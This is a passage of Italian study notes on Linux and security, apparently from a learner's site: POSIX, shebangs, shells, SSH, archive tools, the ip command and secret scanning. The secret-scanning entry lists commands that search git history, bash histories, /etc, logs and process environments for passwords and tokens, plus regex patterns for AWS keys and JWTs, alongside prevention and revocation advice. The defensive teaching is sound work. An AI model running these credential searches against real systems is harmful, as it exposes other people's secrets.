#!/bin/sh prometti che usi solo POSIX — e su molti sistemi /bin/sh e' dash, non bash.\nPerche' e' importante per Blue Team # Gli script di sistema, i cron job e gli script di init usano quasi sempre #!/bin/sh — POSIX puro. Capire la differenza tra POSIX e bash-specific aiuta a:\nLeggere script di sistema senza confusione Scrivere script portabili che girano su qualsiasi sistema Capire perche' certi script falliscono su sistemi embedded o container minimali Dove l'ho incontrato # bandit-32 — variabili speciali POSIX ($0) per escape da shell ristretta Script bash durante lo studio — $1, $?, $@ usati regolarmente Collegato a # system — categoria bash-startup-files — file di startup che usano sintassi POSIX shell-interattiva — le shell implementano lo standard POSIX shell-environment — variabili d'ambiente definite dallo standard ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/posix/","section":"Concetti","summary":"POSIX (Portable Operating System Interface) e' uno standard IEEE che definisce il comportamento di shell, comandi e chiamate di sistema su Unix-like. Garantisce portabilita' degli script tra bash, zsh, sh e dash.","title":"POSIX - Portable Operating System Interface","type":"concetti"},{"content":" Cosa fa # Pratica difensiva e offensiva di cercare credenziali, chiavi API, password e token esposti involontariamente in repository git, file di configurazione, log e documentazione. Uno dei vettori di compromissione piu' comuni — il caso AWS da 50k$ in una notte e' reale.\nTL;DR # Sviluppatore commette chiave API per errore │ ▼ Bot su GitHub trova la chiave in 30 secondi │ ▼ Chiave usata per accedere all\u0026#39;account cloud │ ▼ Istanze EC2 create per mining → bolletta da 50.000$ │ ▼ Sviluppatore rimuove la chiave dal codice │ ← TROPPO TARDI ▼ La chiave e\u0026#39; ancora nella storia git I posti dove cercare segreti # In un repository git # # 1. Storia dei commit — il posto piu\u0026#39; ovvio git log -p | grep -i \u0026#34;password\\|secret\\|key\\|token\\|api\u0026#34; # 2. Branch nascosti — spesso dimenticati git branch -a git checkout dev git log -p | grep -i \u0026#34;password\u0026#34; # 3. Tag — raramente controllati git tag git show \u0026lt;tag\u0026gt; # 4. Stash — modifiche temporanee salvate git stash list git stash show -p stash@{0} # 5. File di configurazione nel repo find . -name \u0026#34;*.env\u0026#34; -o -name \u0026#34;*.config\u0026#34; -o -name \u0026#34;config.yml\u0026#34; | xargs grep -i \u0026#34;password\u0026#34; # 6. Cerca in tutti i branch contemporaneamente git log --all -p | grep -i \u0026#34;password\\|secret\\|api_key\u0026#34; In un sistema Linux # # File di configurazione con credenziali grep -r \u0026#34;password\u0026#34; /etc/ 2\u0026gt;/dev/null find /etc -name \u0026#34;*.conf\u0026#34; -exec grep -l \u0026#34;password\\|secret\\|key\u0026#34; {} \\; # Bash history — comandi digitati con credenziali grep -i \u0026#34;password\\|token\\|key\u0026#34; ~/.bash_history grep -i \u0026#34;curl.*key\\|wget.*token\u0026#34; /home/*/.bash_history 2\u0026gt;/dev/null # File .env nelle home find /home -name \u0026#34;.env\u0026#34; 2\u0026gt;/dev/null # Variabili d\u0026#39;ambiente del processo cat /proc/\u0026lt;PID\u0026gt;/environ | tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; | grep -i \u0026#34;key\\|secret\\|password\u0026#34; In file di log # # Credenziali nelle URL (errore comune) grep -r \u0026#34;password=\u0026#34; /var/log/ 2\u0026gt;/dev/null grep -r \u0026#34;token=\u0026#34; /var/log/ 2\u0026gt;/dev/null # Curl/wget con credenziali nei log grep -E \u0026#34;curl.*-u|wget.*--password\u0026#34; /var/log/ Pattern comuni di segreti # # AWS AKIA[0-9A-Z]{16} # Access Key ID [0-9a-zA-Z/+]{40} # Secret Access Key # Chiavi generiche [Aa]pi[_-]?[Kk]ey.*[:=].*[\u0026#39;\\\u0026#34;][0-9a-zA-Z]{20,} [Ss]ecret.*[:=].*[\u0026#39;\\\u0026#34;][0-9a-zA-Z]{20,} [Pp]assword.*[:=].*[\u0026#39;\\\u0026#34;][^\u0026#39;\\\u0026#34;]{8,} # Token JWT eyJ[A-Za-z0-9_-]{10,}\\.[A-Za-z0-9_-]{10,}\\.[A-Za-z0-9_-]{10,} Strumenti professionali # Tool Uso Note truffleHog Scansione storia git Trova pattern ad alto entropy gitleaks Scansione repo Piu' veloce, regole configurabili git-secrets Pre-commit hook Blocca commit con segreti GitHub Secret Scanning Automatico su push Notifica per chiavi note detect-secrets Yelp open source Baseline di segreti noti Come prevenire # # 1. Pre-commit hook con git-secrets git secrets --install git secrets --register-aws # pattern AWS predefiniti # 2. File .gitignore — esclude file sensibili *.env *.key config.local.* credentials/ secrets/ # 3. Variabili d\u0026#39;ambiente invece di hardcoding # SBAGLIATO api_key = \u0026#34;sk-ant-abc123...\u0026#34; # CORRETTO import os api_key = os.environ.get(\u0026#34;API_KEY\u0026#34;) Cosa fare se un segreto e' gia' esposto # Revoca immediata — la chiave compromessa va invalidata subito, prima ancora di rimuoverla dal codice. Se e' su GitHub, i bot ci arrivano in 30 secondi. Rimozione dalla storia — git filter-repo --path file --invert-paths riscrive la storia. Ma chiunque abbia clonato ha ancora la versione vecchia. Notifica — se la chiave aveva accesso a dati di altri utenti, potrebbe esserci obbligo di notifica (GDPR, NIS2). Audit — verifica se la chiave e' stata usata nel periodo di esposizione (log del provider cloud, audit trail). Warning Rimuovere il segreto dal codice senza revocarlo e' inutile. La chiave e' ancora valida — chiunque l'abbia vista puo' usarla. Revoca sempre prima, rimuovi dopo.\nScenario Reale — il caso AWS 50k$ # Uno sviluppatore committa per errore le credenziali AWS in un repo pubblico GitHub. In meno di un minuto, bot automatici trovano le chiavi e creano centinaia di istanze EC2 per il mining di criptovalute. La bolletta AWS arriva a 50.000$ in una notte.\nAWS ha un sistema di secret scanning integrato con GitHub — quando rileva una chiave, notifica sia lo sviluppatore che AWS stessa. Ma la notifica arriva dopo l'esposizione.\nLa lezione: le credenziali cloud nei repo pubblici vengono trovate in secondi, non minuti.\nDove l'ho incontrato # bandit-28 — storia commit con password rimossa bandit-29 — branch dev con credenziali production bandit-30 — tag con password git — nota git con caso AWS Collegato a # incidents — categoria git-objects — struttura interna git — perche' i segreti sopravvivono git — comandi per il secret scanning manuale bash-startup-files — dotfile come vettore di esposizione ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/secret-scanning/","section":"Concetti","summary":"Il secret scanning e' la pratica di cercare credenziali, chiavi API e segreti esposti per errore in repository git, file di configurazione e log. E' uno dei vettori di compromissione piu' comuni e sottovalutati.","title":"Secret Scanning - trovare segreti esposti","type":"concetti"},{"content":" Cosa fa # Sequenza di due caratteri #! all'inizio di uno script che dice al kernel quale interprete usare per eseguirlo. Il kernel legge i primi due byte del file — se trova #! (shebang), usa il path che segue come interprete. Se non c'e', la shell corrente esegue lo script.\nTL;DR # ./script.sh │ ▼ kernel legge primi 2 byte │ ├── trova #! → usa l\u0026#39;interprete specificato │ sempre lo stesso, ovunque │ └── non trova #! → usa la shell corrente comportamento dipende dall\u0026#39;ambiente Come funziona # # Il kernel vede: #!/bin/bash echo \u0026#34;ciao\u0026#34; # Lo trasforma in: /bin/bash ./script.sh # Equivalente a scrivere direttamente: bash script.sh Il #! non e' commento per il kernel — e' una direttiva. Per bash invece # e' un commento, quindi la riga shebang viene ignorata dall'interprete.\nShebang comuni # #!/bin/bash # bash esplicito #!/bin/sh # POSIX puro — usa sh (spesso dash su Ubuntu) #!/usr/bin/env python3 # python3 — cerca nel PATH #!/usr/bin/env node # node.js — cerca nel PATH /usr/bin/env e' un pattern importante — invece di hardcodare il path dell'interprete, cerca nel PATH dell'utente. Piu' portabile tra sistemi diversi dove python3 potrebbe stare in /usr/local/bin/ invece di /usr/bin/.\nSenza shebang — comportamento non portabile # # script.sh senza shebang x=10 echo $x Sei in bash: ./script.sh → bash lo esegue → funziona Sei in zsh: ./script.sh → zsh lo esegue → funziona Sei in dash: ./script.sh → dash lo esegue → potrebbe fallire se usi bash-specific Risultato dipendente dall'ambiente — non portabile.\nShebang e variabili — serve sempre export # Indipendentemente dallo shebang, uno script lanciato con ./ o bash script.sh e' sempre una subshell — un processo figlio separato.\nCASO 1 — con shebang #!/bin/bash ───────────────────────────────────────── shell corrente │ export MESSAGGIO=\u0026#34;ciao\u0026#34; ← esportata │ LOCALE=\u0026#34;solo qui\u0026#34; ← locale, non esportata │ └─► subshell (bash via shebang) echo $MESSAGGIO → \u0026#34;ciao\u0026#34; ← eredita echo $LOCALE → \u0026#34;\u0026#34; ← non eredita CASO 2 — senza shebang ───────────────────────────────────────── shell corrente (bash) │ export MESSAGGIO=\u0026#34;ciao\u0026#34; ← esportata │ LOCALE=\u0026#34;solo qui\u0026#34; ← locale, non esportata │ └─► subshell (bash perche\u0026#39; sei in bash) echo $MESSAGGIO → \u0026#34;ciao\u0026#34; ← eredita echo $LOCALE → \u0026#34;\u0026#34; ← non eredita CASO 3 — source (nessuna subshell) ───────────────────────────────────────── shell corrente │ LOCALE=\u0026#34;solo qui\u0026#34; ← locale │ source script.sh ← gira nella shell corrente │ echo $LOCALE → \u0026#34;solo qui\u0026#34; ← stessa shell, vede tutto La regola non cambia con lo shebang — export serve sempre quando lanci uno script come processo separato. Solo source bypassa questa regola perche' non crea una subshell.\nCosa succede se l'interprete non esiste # #!/bin/dash echo \u0026#34;ciao\u0026#34; ./script.sh # -bash: ./script.sh: /bin/dash: bad interpreter: No such file or directory Nessun fallback — errore immediato. Il kernel cerca esattamente quel path.\nScenario Reale # Uno script di backup gira perfettamente sul Mac dello sviluppatore con zsh ma fallisce sul server di produzione Ubuntu. Causa: nessuno shebang, e lo sviluppatore usa array bash-specific.\n# Sul Mac (zsh) — funziona ./backup.sh # Sul server (sh → dash) — fallisce ./backup.sh # syntax error: unexpected \u0026#34;(\u0026#34; ← array bash-specific non riconosciuto Soluzione: aggiungere #!/bin/bash e verificare che bash sia installato sul server, oppure riscrivere in POSIX puro con #!/bin/sh.\nDove l'ho incontrato # Script Python failed_logins.py — usa #!/usr/bin/env python3 Script bash durante lo studio Collegato a # system — categoria posix — lo standard che definisce il comportamento di sh shell-comparison — le diverse shell e le loro differenze export — serve sempre quando si lancia uno script come subshell shell-environment — variabili d'ambiente e loro ereditarieta' ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/shebang/","section":"Concetti","summary":"Lo shebang (#!) e' la sequenza nei primi due byte di uno script che dice al kernel quale interprete usare. Senza shebang lo script viene eseguito dalla shell corrente - comportamento non portabile.","title":"Shebang - #!","type":"concetti"},{"content":" Cosa fa # Una shell e' un interprete di comandi — legge l'input dell'utente, lo interpreta e chiede al kernel di eseguirlo. Tutte le shell Unix implementano POSIX come contratto minimo, poi aggiungono estensioni proprie con sintassi e funzionalita' diverse.\nTL;DR # POSIX (contratto minimo comune) │ ├── sh → implementazione minima, universale ├── dash → minima + ottimizzata per velocita\u0026#39; ├── bash → POSIX + molte estensioni ├── zsh → POSIX + bash-like + ancora di piu\u0026#39; └── fish → non POSIX, sintassi propria Le shell principali # sh — Bourne Shell # La shell originale di Unix, scritta da Stephen Bourne nel 1979. Oggi \u0026quot;sh\u0026quot; e' quasi sempre un alias a dash o bash in modalita' compatibile.\n#!/bin/sh # POSIX puro — gira ovunque for i in $(seq 1 10); do echo $i done dash — Debian Almquist Shell # Implementazione minimale di sh, ottimizzata per velocita'. Ubuntu usa dash come /bin/sh di default per il boot — eseguire centinaia di script di sistema con dash invece di bash e' misurabilmente piu' veloce.\nDimensione: ~150KB Velocita\u0026#39;: molto veloce Funzioni: POSIX puro, niente estensioni Dove: /bin/sh su Ubuntu, Debian, Alpine bash — Bourne Again Shell # La shell piu' diffusa su Linux. E' un superset di POSIX — implementa tutto lo standard piu' molte estensioni comode.\n#!/bin/bash # bash-specific — non funziona in sh/dash for i in {1..10}; do # brace expansion echo $i done array=(uno due tre) # array echo ${array[0]} # indicizzazione array [[ \u0026#34;$var\u0026#34; =~ ^[0-9]+$ ]] # regex matching con ``` ```bash Dimensione: ~1MB Velocita\u0026#39;: piu\u0026#39; lento di dash Funzioni: POSIX + array + [[ + {..} + process substitution + ... Dove: default su Ubuntu, Kali, macOS (fino a Catalina) zsh — Z Shell # Superset di bash con funzionalita' aggiuntive orientate all'interattivita'. Default su macOS da Catalina in poi. Oh My Zsh lo rende popolare tra gli sviluppatori.\n# zsh-specific autoload -U compinit \u0026amp;\u0026amp; compinit # autocomplete avanzato setopt HIST_IGNORE_DUPS # opzioni extra print -P \u0026#34;%F{green}%~%f\u0026#34; # prompt colorato nativo Dimensione: ~1.5MB Velocita\u0026#39;: simile a bash Funzioni: POSIX + bash-like + autocomplete avanzato + temi + plugin Dove: default macOS, popolare su desktop Linux fish — Friendly Interactive Shell # Scelta deliberata di non essere POSIX-compatible per avere una sintassi piu' pulita. Non usa $ per le variabili nei contesti normali, non ha if [ ] POSIX.\n# fish — sintassi completamente diversa for i in (seq 1 10) # no $(), no do echo $i end # no done set nome \u0026#34;barno\u0026#34; # no = senza spazi if test $nome = \u0026#34;barno\u0026#34; # no [ ] echo \u0026#34;ciao\u0026#34; end Dimensione: ~3MB Velocita\u0026#39;: piu\u0026#39; lento Funzioni: massima interattivita\u0026#39;, autocomplete intelligente Dove: scelta personale sviluppatori — non su server Attenzione: gli script fish non girano su bash/sh e viceversa Confronto rapido # Shell POSIX Leggerezza Interattivita' Portabilita' script sh si massima minima massima dash si massima minima massima bash si + estensioni media buona alta (dove c'e' bash) zsh si + estensioni media ottima alta (dove c'e' zsh) fish no bassa ottima nulla fuori da fish Quale usare? # Script di sistema, cron, Docker → #!/bin/sh o #!/bin/dash Script personali su Linux → #!/bin/bash Script personali su macOS → #!/bin/zsh o #!/bin/bash Terminale interattivo quotidiano → zsh o fish (comodita\u0026#39;) Ambiente embedded / container → sh o dash (dimensione) Perche' Ubuntu usa dash come /bin/sh # # Su Ubuntu ls -la /bin/sh # /bin/sh -\u0026gt; dash # Verificare readlink -f /bin/sh # /bin/dash Al boot, Ubuntu esegue centinaia di script in /etc/init.d/ e /etc/rc*.d/. Usare dash invece di bash riduce il tempo di boot in modo misurabile — dash e' piu' veloce nell'avvio e nel parsing degli script.\nDove l'ho incontrato # bandit-32 — escape con $0 — variabile POSIX universale posix — lo standard che tutte implementano Collegato a # system — categoria posix — lo standard comune shell-interattiva — login shell vs non-login shell bash-startup-files — file di startup specifici per shell ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/shell-comparison/","section":"Concetti","summary":"Le shell Unix sono interpreti di comandi che implementano POSIX come contratto minimo comune. sh e dash sono minimali e veloci, bash aggiunge estensioni comode, zsh aggiunge ancora di piu', fish rompe la compatibilita' POSIX per una sintassi piu' pulita.","title":"Shell - confronto e differenze","type":"concetti"},{"content":" Cosa fa # Protocollo crittografico per l'accesso remoto sicuro. Prima di SSH esistevano telnet e rlogin — trasmettevano tutto in chiaro, password inclusa. SSH risolve due problemi fondamentali: autentica che il server e' quello che dice di essere (anti man-in-the-middle), e cifra tutto il traffico.\nTL;DR # # Due problemi distinti: 1. Come so che il SERVER e\u0026#39; chi dice di essere? → known_hosts (TOFU) 2. Come il server sa che IO sono chi dico? → password o challenge-response # Tre algoritmi in gioco (output reale ssh -v): curve25519-sha256 → scambio chiavi DH effimero (PFS) ssh-ed25519 → firma del server (verifica identita\u0026#39;) chacha20-poly1305 → cifratura dati Handshake completo — prima connessione # sequenceDiagram participant C as CLIENT (Kali) participant S as SERVER (Bandit) note over S: Coppia fissa:private_key → segretopublic_key → condivisibile C-\u003e\u003eS: 1. TCP SYN S-\u003e\u003eC: TCP SYN-ACK C-\u003e\u003eS: 2. Negoziazione versioni e algoritmi S-\u003e\u003eC: Negoziazione versioni e algoritmi S-\u003e\u003eC: 3. public_key del server note over C: SHA256(public_key) = fingerprint\"Are you sure? fingerprint: SHA256:xxx\"→ scrivi YES→ salvato in ~/.ssh/known_hosts C-\u003e\u003eS: 5. DH effimero — parametro pubblico client S-\u003e\u003eC: DH effimero — parametro pubblico server note over C,S: Entrambi calcolano la stessa chiave simmetricasenza trasmetterla → PFS C-\u003e\u003eS: 6. SSH2_MSG_NEWKEYS — \"da qui tutto cifrato\" note over C: 7. Autenticazione client(password o challenge-response) C-\u003e\u003eS: Credenziali S-\u003e\u003eC: 8. Shell aperta — ok I due problemi che SSH risolve # 1. Man-in-the-middle — autenticazione del server # Con telnet non sapevi se ti stavi connettendo al server giusto. SSH risolve questo con le chiavi host:\n# ~/.ssh/known_hosts — esempio ctf.labs.overthewire.org ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... # Se la chiave cambia → WARNING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Il warning non e' un errore — e' una protezione. Puo' significare:\nServer reinstallato (normale) IP riassegnato (normale) Attacco man-in-the-middle (raro ma possibile) # Rimuovi la vecchia entry e riconnettiti per verificare il fingerprint ssh-keygen -R hostname ssh -v hostname 2. Intercettazione del traffico — crittografia # Telnet trasmette tutto in chiaro. SSH cifra con chacha20-poly1305 dopo aver concordato la chiave con Diffie-Hellman effimero (PFS).\nIl fingerprint — cos'e' davvero # # Prima connessione: The authenticity of host \u0026#39;ctf.labs.overthewire.org\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is SHA256:xxxxxx Are you sure you want to continue connecting (yes/no)? fingerprint = SHA256(chiave_pubblica_del_server) Non e\u0026#39; la chiave privata — quella non la vedi mai. Non e\u0026#39; la firma — quella cambia ogni sessione (e\u0026#39; effimera). E\u0026#39; un hash della chiave pubblica — stabile, verificabile, univoco. Scrivere yes significa: \u0026quot;ho visto questa chiave pubblica, me la ricordo\u0026quot;. Da quel momento known_hosts la confronta ad ogni connessione.\nTOFU — Trust On First Use # TLS: CA preinstallata nel OS → verifica automatica sempre SSH: Prima volta → verifica manuale (sei tu il CA) Dopo → known_hosts fa da memoria CLIENT SERVER | | | ◄────────────────────────── public_key | | | | SHA256(public_key) = fingerprint | | confronta con ~/.ssh/known_hosts | | | ├── MATCH → connessione ok | | | └── MISMATCH → BLOCCO | \u0026#34;WARNING: REMOTE HOST | IDENTIFICATION HAS CHANGED!\u0026#34; | possibile attacco MITM | Perfect Forward Secrecy # curve25519 in SSH e' effimero come ECDHE in TLS:\nSessione 1: chiavi a1, b1 → chiave simmetrica K1 → scartata Sessione 2: chiavi a2, b2 → chiave simmetrica K2 → scartata Sessione 3: chiavi a3, b3 → chiave simmetrica K3 → scartata Il momento in cui entrambi i lati attivano la crittografia:\ndebug1: SSH2_MSG_NEWKEYS sent # \u0026#34;da qui tutto cifrato\u0026#34; Autenticazione con chiave — challenge-response # sequenceDiagram participant C as CLIENT participant S as SERVER C-\u003e\u003eS: \"voglio autenticarmi con la chiave pubblica X\" note over S: controlla ~/.ssh/authorized_keys S-\u003e\u003eC: challenge (numero casuale) note over C: firma il challengecon la MIA CHIAVE PRIVATA C-\u003e\u003eS: firma note over S: verifica la firmacon la CHIAVE PUBBLICA S-\u003e\u003eC: ok, entra Perche' un challenge casuale:\n1. La chiave privata non si condivide mai 2. Potrebbe essere intercettata in transito 3. Una chiave privata sul server e\u0026#39; un rischio se il server viene violato 4. Replay attack: firma deterministica → stesso input = stesso output Challenge casuale → firma diversa ogni volta → non riusabile Lettura output ssh -v # ssh -v bandit0@ctf.labs.overthewire.org -p 2220 debug1: OpenSSH_10.2p1 # versione client debug1: Reading configuration data /home/barno/.ssh/config # config personale debug1: kex: algorithm: curve25519-sha256 # scambio chiavi DH effimero debug1: kex: host key algorithm: ssh-ed25519 # firma del server debug1: kex: cipher: chacha20-poly1305 # cifratura dati debug1: SSH2_MSG_NEWKEYS sent # da qui tutto cifrato debug1: Will attempt key: /home/barno/.ssh/id_rsa # prova chiavi locali debug1: Trying private key: /home/barno/.ssh/id_rsa # nessuna trovata # → fallback a password I tipi di chiave # Tipo Comando Sicurezza Note ed25519 ssh-keygen -t ed25519 Alta Moderno, consigliato rsa 4096 ssh-keygen -t rsa -b 4096 Alta Piu' lento, compatibile ecdsa ssh-keygen -t ecdsa Alta Curve ellittiche dsa — INSICURO Non usare rsa 1024 — INSICURO Non usare File critici # Client side: ~/.ssh/id_ed25519 ← chiave privata (SEGRETO — chmod 600) ~/.ssh/id_ed25519.pub ← chiave pubblica (si condivide) ~/.ssh/known_hosts ← chiavi pubbliche dei server conosciuti ~/.ssh/config ← configurazione alias e opzioni Server side: ~/.ssh/authorized_keys ← chiavi pubbliche autorizzate (chmod 600) /etc/ssh/sshd_config ← configurazione del demone SSH /etc/ssh/ssh_host_* ← chiavi host del server Confronto SSH vs TLS # SSH TLS Scambio chiavi curve25519-sha256 X25519MLKEM768 Firma server ed25519 / known_hosts ECDSA / certificato CA Fiducia TOFU CA preinstallata nel OS Cifratura dati chacha20-poly1305 AES-256-GCM PFS curve25519 effimero ECDHE effimero Auth client challenge-response certificato client Replay protection challenge casuale — Stesso problema, soluzione diversa per il nodo \u0026quot;fiducia\u0026quot;: TLS delega a terzi (CA), SSH delega a te (known_hosts).\nScenario Reale Blue Team # # Hardening sshd_config — configurazione minima sicura PermitRootLogin no # impedisce login diretto come root PasswordAuthentication no # forza chiavi, elimina brute force Un attaccante che compromette un server potrebbe modificare la chiave host per intercettare le connessioni successive. Il warning MITM e' il primo segnale.\nWarning Non ignorare mai il warning MITM su server di produzione. Puo' essere un rekey legittimo dopo un aggiornamento — o un attacco reale. Verifica sempre il fingerprint con il sysadmin prima di procedere.\nTip ssh -v e' il tuo strumento di debug principale per problemi di connessione. Mostra ogni step della negoziazione — utile per capire dove fallisce l'auth.\nDove l'ho incontrato # bandit-13 — primo uso di chiave privata SSH bandit-27 — clone git su porta SSH custom Collegato a # iam — categoria crypto — categoria ssl-tls — stesso schema concettuale, implementazione diversa cryptography — teoria crittografica di base ssh — comando per la connessione ssh-key-authentication — concetto specifico sulle chiavi auth-log — dove SSH scrive i log di autenticazione pam — SSH delega l'autenticazione a PAM ","date":"28 marzo 2026","externalUrl":null,"permalink":"/concetti/ssh-protocol/","section":"Concetti","summary":"Protocollo per connessioni remote cifrate. Sostituisce Telnet e rlogin. Handshake, TOFU, autenticazione con chiave, challenge-response, Perfect Forward Secrecy. Confronto con TLS.","title":"SSH Protocol - Secure Shell","type":"concetti"},{"content":" Cosa fa # Famiglia di tool per comprimere file (ridurre lo spazio) e archiviare file (raggruppare piu' file in uno). In Linux sono strumenti separati che si combinano: tar archivia, gzip o bzip2 comprimono. Il formato .tar.gz e' lo standard Linux.\nLa differenza fondamentale # ARCHIVIAZIONE (tar) COMPRESSIONE (gzip/bzip2/zip) ─────────────────────────── ───────────────────────────── raggruppa piu\u0026#39; file in uno riduce la dimensione del file non riduce la dimensione non raggruppa piu\u0026#39; file mantiene struttura directory lavora su file singoli mantiene permessi e timestamp — tar da solo NON comprime. gzip da solo NON archivia directory. Li usi insieme.\nVedi compressione-vs-archiviazione per il concetto completo.\ngzip — compressione veloce standard # # Comprimi gzip file.txt # crea file.txt.gz, RIMUOVE l\u0026#39;originale gzip -k file.txt # -k = keep, mantiene l\u0026#39;originale gzip -9 file.txt # -9 = compressione massima (piu\u0026#39; lento) gzip -r cartella/ # -r = ricorsivo su tutti i file della cartella # Decomprimi gunzip file.txt.gz # decomprime e RIMUOVE il .gz gzip -d file.txt.gz # equivalente a gunzip gunzip -k file.txt.gz # mantiene il .gz # Info gzip -l file.gz # mostra rapporto di compressione zcat file.gz # legge il contenuto senza decomprimere # Velocita\u0026#39; vs compressione gzip -1 file.txt # velocissimo, compressione minima gzip -9 file.txt # lento, compressione massima # default = -6 (buon equilibrio) bzip2 — compressione migliore, piu' lento # # Comprimi bzip2 file.txt # crea file.txt.bz2, rimuove l\u0026#39;originale bzip2 -k file.txt # mantiene l\u0026#39;originale # Decomprimi bunzip2 file.txt.bz2 bzip2 -d file.txt.bz2 # equivalente # Leggi senza decomprimere bzcat file.bz2 zip — formato Windows-compatibile # # Comprimi zip archivio.zip file1 file2 file3 # crea archivio con i file specificati zip -r archivio.zip cartella/ # -r = ricorsivo zip -e archivio.zip file.txt # -e = encrypt con password # Decomprimi unzip archivio.zip unzip archivio.zip -d /destinazione/ # estrai in una directory specifica # Info unzip -l archivio.zip # lista contenuto senza estrarre tar — archiviazione (spesso combinata con compressione) # # CREARE tar -cvf archivio.tar cartella/ # crea archivio senza compressione tar -czvf archivio.tar.gz cartella/ # crea + comprimi con gzip tar -cjvf archivio.tar.bz2 cartella/ # crea + comprimi con bzip2 # ESTRARRE tar -xvf archivio.tar # estrai tar -xzvf archivio.tar.gz # estrai + decomprimi gzip tar -xjvf archivio.tar.bz2 # estrai + decomprimi bzip2 tar -xvf archivio.tar -C /destinazione/ # estrai in directory specifica # ISPEZIONARE (senza estrarre) tar -tvf archivio.tar # lista contenuto tar -tvf archivio.tar.gz # lista contenuto compresso # I FLAG # c = create x = extract t = list # v = verbose f = file (nome archivio) # z = gzip j = bzip2 Mnemonico: cvf = \u0026quot;Crea Verbosamente su File\u0026quot; | xvf = \u0026quot;eXtrai Verbosamente da File\u0026quot;\nConfronto algoritmi # Strumento Estensione Velocita' Compressione Uso tipico gzip .gz veloce media standard Linux, log bzip2 .bz2 lento alta distribuzioni software zip .zip media media interoperabilita' Windows tar .tar — nessuna archiviazione pura tar.gz .tar.gz o .tgz veloce media standard de facto Linux tar.bz2 .tar.bz2 lento alta distribuzioni, kernel Combinazioni utili — Blue Team # # Backup rapido di /etc prima di modifiche sudo tar -czvf /backup/etc-$(date +%Y%m%d).tar.gz /etc/ # Backup log con data tar -czvf logs-$(date +%Y%m%d-%H%M).tar.gz /var/log/ # Crea archivio e calcola hash per catena di custodia forense tar -czvf evidence.tar.gz /percorso/sospetto/ sha256sum evidence.tar.gz \u0026gt; evidence.tar.gz.sha256 # Ispeziona un archivio sospetto PRIMA di estrarre tar -tvf archivio-sospetto.tar.gz # lista contenuto unzip -l archivio-sospetto.zip # per zip # Estrai solo un file specifico dall\u0026#39;archivio tar -xvf archivio.tar.gz percorso/del/file.txt # Zip bomb — segnale d\u0026#39;allarme # Un .zip da 1KB che contiene 1GB di dati e\u0026#39; una zip bomb # unzip -l prima di estrarre mostra la dimensione decompressa Identificare il tipo di compressione senza estensione # # Il comando file legge i magic bytes file archivio_sconosciuto # archivio_sconosciuto: gzip compressed data # Se e\u0026#39; un hexdump (come in Bandit 12) xxd -r hexdump.txt \u0026gt; binario file binario # rivela il tipo reale Vedi magic-bytes per la teoria e nested-compression per gli archivi a strati.\nScenario Reale # Un analista riceve un file allegato sospetto da un'email. Prima di aprirlo:\n# 1. Identifica il tipo reale indipendentemente dall\u0026#39;estensione file allegato.docx # allegato.docx: Zip archive data ← i .docx sono zip in disguise # 2. Lista il contenuto senza estrarre unzip -l allegato.docx # 3. Cerca macro VBA o eseguibili dentro l\u0026#39;archivio unzip -l allegato.docx | grep -E \u0026#34;\\.exe|\\.vba|\\.bin|macros\u0026#34; # 4. Se estrai, fallo in una directory isolata mkdir /tmp/analisi \u0026amp;\u0026amp; unzip allegato.docx -d /tmp/analisi/ Dove l'ho usato # bandit-12 — analisi archivio matrioska con strati multipli di compressione Collegato a # system — categoria incidents — categoria compressione-vs-archiviazione — concetto teorico nested-compression — archivi a strati multipli (evasione AV) magic-bytes — identificare il tipo reale di un archivio rsync — sincronizzazione file, alternativa al backup manuale con tar sha256sum — verifica integrita' degli archivi ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/compressione-arichivazione/","section":"Comandi","summary":"Guida unificata a gzip, bzip2, zip e tar su Linux. Copre compressione singoli file, archiviazione multi-file, formato tar.gz, e uso forense per analisi di archivi sospetti.","title":"Compressione e Archivi - gzip, bzip2, zip, tar","type":"comandi"},{"content":" Cosa fa # Gestisce e mostra interfacce di rete, indirizzi IP, tabella di routing e tunnel. Sostituisce i comandi deprecati ifconfig e route. Su Linux moderno e' il punto di riferimento per qualsiasi configurazione o diagnostica di rete.\nSintassi # ip [opzioni] oggetto [comando]\nGli oggetti principali: address (o addr o a), route (o r), link (o l), neighbor (o n)\nComandi essenziali # Comando Flag Significato flag Cosa fa ip address show — — Mostra tutte le interfacce con IP assegnati ip a — — Abbreviazione di ip address show ip a show eth0 — — Solo l'interfaccia eth0 ip route show — — Mostra la tabella di routing ip r — — Abbreviazione di ip route show ip link show — — Stato delle interfacce (UP/DOWN) senza IP ip neighbor show — — Tabella ARP — MAC degli host vicini ip n — — Abbreviazione di ip neighbor show Leggere ip address show # ip a # 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 # inet 127.0.0.1/8 scope host lo # # 2: enp0s1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 # inet 192.168.64.3/24 brd 192.168.64.255 scope global enp0s1 # ^ ^ ^ # | IP address broadcast address # inet = IPv4 (inet6 = IPv6) Cosa cercare:\nstate UP — interfaccia attiva inet — indirizzo IPv4 assegnato Assenza di inet — DHCP non funziona o interfaccia non configurata Nomi delle interfacce:\nlo → loopback — interfaccia virtuale, parla con se stesso (127.0.0.1) enp0s1 → Ethernet (en = ethernet, p0s1 = bus PCI) eth0 → Ethernet (naming vecchio stile) wlp2s0 → Wireless (wl = wireless) vda → Disco virtuale (non e\u0026#39; un\u0026#39;interfaccia di rete — e\u0026#39; lsblk) Leggere ip route show # ip r # default via 192.168.64.1 dev enp0s1 proto dhcp src 192.168.64.3 metric 100 # 169.254.0.0/16 dev enp0s1 scope link metric 1000 # 192.168.64.0/24 dev enp0s1 proto kernel scope link src 192.168.64.3 metric 100 default via 192.168.64.1 ← gateway di default — tutto il traffico non locale va qui 192.168.64.0/24 ← la tua LAN — raggiungibile direttamente senza gateway 169.254.0.0/16 ← APIPA — range fallback quando DHCP non funziona 